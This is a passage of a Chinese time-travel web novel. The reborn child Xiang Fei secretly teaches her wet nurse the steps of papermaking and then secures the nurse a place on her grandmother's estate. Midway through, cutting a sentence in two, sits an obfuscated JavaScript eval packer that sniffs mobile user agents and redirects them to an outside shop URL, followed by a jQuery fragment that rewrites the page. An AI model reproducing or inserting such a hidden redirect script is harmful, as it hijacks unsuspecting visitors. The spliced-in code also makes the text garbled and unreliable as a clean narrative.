景氏叹了口气,不再说话。
项菲靠在韩氏怀里,默默记下这一切。
项燕的政治嗅觉果然敏锐。李园这等人,沾上了就是一身腥。
正想着,项燕的目光忽然落回她身上,脸上重新浮现出慈爱的笑容:“说起来,阿飞倒是会挑。说不准,也有苏秦挂六国相印的才能呢。”
景氏闻言,却冷笑一声:“像他有什么好?合纵六国,听着像是不世之功,可最终不也是功败垂成,得了个车裂而死的下场?”
项燕的笑容淡了些,长叹一声,目光投向窗外。
远处青山如黛,云卷云舒。
“乱世之中,人命如蒲草。只盼孩儿们……能活得平顺些。”
景氏沉默片刻,轻轻“嗯”了一声。
项菲安静地坐在韩氏怀里,看着这对老夫妻脸上的凝重与无奈,心中涌起复杂的滋味。
活得平顺?
在这个时代,在这个家族,在这个即将天翻地覆的时代。平顺,才是最大的奢望。
她低头看了看自己手中那枚还没来得及放下的印章,又看了看不远处抱着宝剑呼呼大睡的项籍。
一文一武。
两条截然不同的路。
历史的洪流正裹挟着所有人向前奔涌,而她这个小小的穿越者,手里握着一枚印章,心中装着一个谁也不知道的秘密。
窗外,夏日的风吹过庭院,树叶沙沙作响,蝉鸣依旧聒噪。
而项菲只是安静地靠在韩氏怀里,闭上了眼睛。
8. 第 8 章
就在项菲周岁这年,韩国割让南阳、魏国割让丽邑、赵国大震民不聊生的三个消息先后传遍列国,也传入了远在楚地的项家人耳中。
“南阳失守,韩国西部再无屏障。新郑(韩国都城)已在秦军铁蹄之下,韩国危矣!”项梁看着传来的军报,叹着气说道。
项渠赞同地点头说:“韩王此举无异于割肉饲虎,自掘坟墓。”
项燕却只是叹了口气说:“韩国国祚大抵也就在这两年了,大厦将倾,任凭韩王有万般才智也无计可施,韩国命数如此。”
众人皆是长叹一口气,哪怕远在楚地的项家人,此刻也感受到了唇亡齿寒的悲凉。
项燕继续感慨:“天下大势已如沸水,避无可避了。”
项家书房中,男人们对天下大势感慨万千。
*****
而后院中项菲却晒着太阳睡的正好,午睡前她特意要求乳母将她抱到窗边能晒到太阳的位置睡觉,她要补补钙。
要成就大业她可不能长的太矮,得从小开始就得把这幅身板锻炼好了。
午睡起来,项菲有些口渴,于是呼喊乳母道:“韩嬷嬷,我口渴了,想喝柘浆。”
韩嬷嬷随叫随到:“早就备好了。”
柘浆就是甘蔗汁,这个在后世压根没有年轻人喜欢喝的饮料,在这个时代却是只有贵族才能享用的起的奢侈品。
项菲看着韩嬷嬷端来的用竹筒盛着的甘蔗汁,看到其中肉眼可见的漂浮着甘蔗纤维的碎渣感慨道:生产力真是低下啊······
项菲就着韩嬷嬷的手满足地猛吸了一大口才感叹道:“呜呼~这才是活着的感觉呀~可见这口腹之欲才是人生第一大要紧事。”
韩嬷嬷笑的慈爱:“少主聪慧,做什么都能说出大道理来。”
项菲就笑笑没有说话,自从那次救了韩嬷嬷的儿子之后,韩嬷嬷看她就和看神仙一样,她已经习惯了。
喝完柘浆的项菲打了个饱嗝儿,盯着手中的竹筒看了半天,才慢慢说:“韩嬷嬷,你认得字吗?”
韩氏一愣,摇摇头:“婢子出身寒微,哪里识得字。”
项菲点点头,没多说只是接着问道:“韩嬷嬷,那你可知道纸是什么?”
韩氏想了想:“没听说过,敢问少主这纸是何物?”
项菲眨眨眼,露出一个纯真的笑容:“是我做梦梦到的。梦里有个老爷爷,教我做一种东西,可以用来写字,比竹简便宜,比缣帛便宜,很多人都能用得起。”
韩氏只当是小孩子说梦话,但她乐得哄着项菲说:“竟然还有这样的好东西?想必是仙界才有的仙物吧······”
项菲只是认真的看了她一眼,纠正道:“那不是仙物,是人力可以造出来的!韩嬷嬷,我教你做吧。”
韩氏愣住:“哥儿教婢子?”
没理会诧异的韩氏,项菲便认真地讲了起来。
她讲得很慢,用最浅显的语言,一点一点地描述那些步骤——选料、浸泡、蒸煮、捣浆、抄纸、晾晒。
韩氏听着听着,脸上的笑容渐渐敛去,神情变得认真起来。
她听不懂全部,但她听得出,这孩子说的,不是胡话。
那是一套完整的、细致的、仿佛真的能做出来东西的流程。
“哥儿……”她有些艰难地开口,“你说的这些,是从哪里听来的?”
项菲歪着头,笑得天真无邪:“梦里呀。老爷爷说,这个东西叫‘纸’,做好了可以写字,可以画画,可以传很多很多的话给很远很远的人。”
韩氏沉默了。
她看着这个小小的孩子,那双眼睛清澈透亮,却又深邃得让人看不透。
她没有再问。
此后数日,项菲又断断续续地讲了许多细节——火候要多大,浸泡要多久,抄纸的帘子要用什么编,晾晒的时候要避开大风……
韩氏一一记在心里,不敢写下来,只能一遍遍地在脑中重复,生怕忘了分毫。
她不知道这东西能不能做成,但她知道,这是哥儿给她的东西。
哥儿信她,才把这些“梦”告诉她。
******
项菲的大业刚迈出小小的一步,就险些夭折。
事情的起因就是项菲的母亲钟氏想给项菲断奶,而项菲的祖母景氏也对钟氏的想法表示了支持。
断奶的消息是母亲钟氏亲自来告知的。
那日午后,钟氏端坐在项菲的小床前,面上带着一贯的端庄疏离,语气却不容置疑:“飞哥儿满周岁了,该断奶了。韩氏是乳母,本就是为了哺育哥儿而来,如今哥儿大了,她也该另行安置。”
项菲坐在床上,仰着小脸听母亲说完,乖巧地点了点头:“阿母说得是。”
钟氏微微一愣,似乎没料到这孩子答应得如此干脆。她原以为要费些口舌——毕竟飞哥儿对这韩氏,似乎格外亲近。
但她没有多说,只点了点头,便起身离去。
项菲望着母亲的背影,心中却是一片清明。
哪里是因为断奶,分明是因为上次的事。
那日她替韩氏求情,让祖母出手救回韩氏的儿子,虽是善举,却也犯了忌讳。一个八个月的婴孩,替乳母出头,求祖母办事,这在任何人看来,都不是正常的事。
母亲钟氏本就对韩氏心有芥蒂,觉得是她撺掇哥儿做事。如今借着断奶的由头将她调走,既合乎规矩,又能拔掉这根刺,一箭双雕。
祖母景氏那边,想必也是默许的。
项菲叹了口气。
这就是大家族的规矩,容不得下人“越过本分”。韩氏什么都没做错,错只错在她让自己这个“哥儿”替她出了头。
她能理解母亲的决定,只是……有些舍不得韩氏。
这一年来,韩氏待她极好。
自从救了韩氏的儿子之后,韩氏对她更是感恩戴德,事事尽心,眼神里总带着一份旁人没有的亲近与信赖。
更重要的是……她刚刚给韩氏种下造纸术的“种子”。
她还没能到造纸术落地呢!
唉·····形势比人强,她还是太弱小了。
*****
韩氏离开的前一日,项菲求见了祖母
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340420|199294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
景氏。
景氏正在内室理账,见韩氏抱着项菲进来,放下手中的竹简,露出慈爱的笑容:“飞哥儿怎么来了?”
项菲让韩氏将自己放在榻上,然后端端正正地坐好,仰着脸说:“大母,孙儿有事求您。”
景氏眉梢微挑,这小东西,又有什么事?
“说吧。”
项菲组织了一下语言,尽量让自己显得像个懂事的孩子:“韩嬷嬷要走了,孙儿舍不得她。可是孙儿知道,阿母和大母都是为了孙儿好,韩嬷嬷确实该走了。”
景氏眼中闪过一丝讶异。这孩子,居然能说出这样一番话?
项菲继续说:“韩嬷嬷的儿子还小,她没了差事,怕是养不活孩子。孙儿听说,大母在城外有个庄子,缺人照看。能不能……把韩嬷嬷送去庄子上?给她一份活计,让她能养活孩子?”
景氏看着面前这个一本正经的小人儿,沉默了片刻,忽然笑了。
“飞哥儿倒是会替人打算。”她语气里听不出喜怒,“只是,你为何对韩氏这般上心?”
项菲早有准备,眨眨眼,露出一个孩童式的纯真:“韩嬷嬷奶了孙儿一年,对孙儿好。孙儿也想对她好。”
景氏盯着她看了许久,那目光仿佛要将她看穿。
项菲坦然回视,心中却有些打鼓。
半晌,景氏叹了口气,摆摆手:“罢了,既然你开了口,这个恩典,大母给你。韩氏送去庄子上,给她一间屋,一份粮,让她种地也好,养蚕也罢,随她去。”
项菲心中一喜,连忙道谢:“谢谢大母!”
景氏看着她,忽然又说:“飞哥儿,你聪明,大母知道。但你要记住,聪明要用在正道上。下人终究是下人,不可太过亲近,也不可太过纵容。”
项菲乖巧点头:“孙儿记住了。”
******
第二日,韩氏来向项菲辞行。
她抱着项菲,眼圈泛红,却说不出话来。
项菲伸出小手,摸了摸她的脸,轻声道:“韩嬷嬷,好好活着。好好带着你儿子活着。以后……总有再见之日。”
韩氏点点头,哽咽着说:“哥儿的恩情,婢子这辈子都不会忘。哥儿教婢子的那些……婢子也会好好记着,好好学着做。”
项菲微微点头,没再多说。
有些话,不必说透。
韩氏抱着她,许久才舍得放下。临走前,她又回过头,深深看了项菲一眼,那眼神里有感激,有不舍,还有一种难以言喻的……敬畏。
项菲坐在床上,透过窗棂,看着韩氏的背影消失在院门口。
她知道,这一别,不知何时才能再见。
但她也知道,她种下的那颗种子,已经随着韩氏,离开了这座高门大院,去往一个更广阔的天地。
城外庄子上,一个不识字的农妇,将开始捣鼓那些树皮、麻头、破布。
也许一年,也许两年,也许更久。
总有一天,会有一张薄薄的、柔软的、可以写字的“纸”,从那简陋的作坊里诞生。
路虽然很长,但行则将至。